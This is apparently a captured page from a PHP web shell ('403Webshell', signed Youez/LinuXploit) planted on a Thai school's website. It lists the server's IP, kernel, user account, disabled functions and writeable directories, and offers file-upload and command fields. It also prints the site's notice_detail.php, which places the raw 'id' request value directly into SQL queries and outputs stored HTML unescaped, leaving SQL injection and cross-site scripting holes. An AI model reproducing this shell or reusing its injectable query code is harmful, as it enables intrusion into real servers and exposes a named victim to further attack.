403Webshell
Server IP : 27.254.96.235  /  Your IP : 216.73.216.44
Web Server : Apache/2
System : Linux cs95 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : piboonsa ( 1055)
PHP Version : 8.0.30
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/piboonsa/domains/piboonsawasdee.ac.th/public_html/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/piboonsa/domains/piboonsawasdee.ac.th/public_html/notice_detail.php
<?php 
	include("dbconfig/config.php");
	$id = $_REQUEST['id'];
	
	$query = $db->query("SELECT * FROM notice WHERE id = '$id'");
	$rs = $db->getresult($query);
?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<?php include("title.inc.php");?>
<link rel="stylesheet" href="css/prettyPhoto.css" type="text/css" media="screen"/>
</head>

<body>
	<?php include("head.inc.php");?>
    <div class="cover">
    	<div class="detail"><br>
			<h1><img src="images/topic-notice.png" align="absmiddle"> ข่าวประกาศ</h1>
            <div class="row font25 pink"><?=htmlspecialchars_decode($rs['subject'], ENT_QUOTES)?></div>
            <?php 
				$p_query = $db->query("SELECT * FROM notice_img WHERE notice_id = '$id' ORDER BY no");
				if($db->getcountrow($p_query) != 0){
					echo '<div class="row">
            				<ul class="gallery">';
					while($pp = $db->getresult($p_query)){
						echo '<li><a href="'.IMG_NT.$pp['img'].'" rel="prettyPhoto[gallery1]" title="'.$pp['title'].'"><img src="'.IMG_NT.$pp['img'].'" border="0"/></a></li>';
					}
					echo '	</ul>
            			</div>';
				}
			?>
            <p>
            	<?=htmlspecialchars_decode($rs['detail'], ENT_QUOTES)?>
             </p>
             <br><br>
             <p align="center"><a href="notice.php"><span class="btnpink">ย้อนกลับ</span></a></p>
        </div>
    </div>
    <?php include("foot.inc.php");?>
    <script src="script/jquery.prettyPhoto.js" type="text/javascript" charset="utf-8"></script>
    <script type="text/javascript" charset="utf-8">
		$(document).ready(function(){		
			$(".gallery:first a[rel^='prettyPhoto']").prettyPhoto({animation_speed:'normal',theme:'light_square',slideshow:3000, autoplay_slideshow: true, social_tools:false});
			$(".gallery:gt(0) a[rel^='prettyPhoto']").prettyPhoto({animation_speed:'fast',theme:'light_square',slideshow:10000, hideflash: true, social_tools:false});
		});
	</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit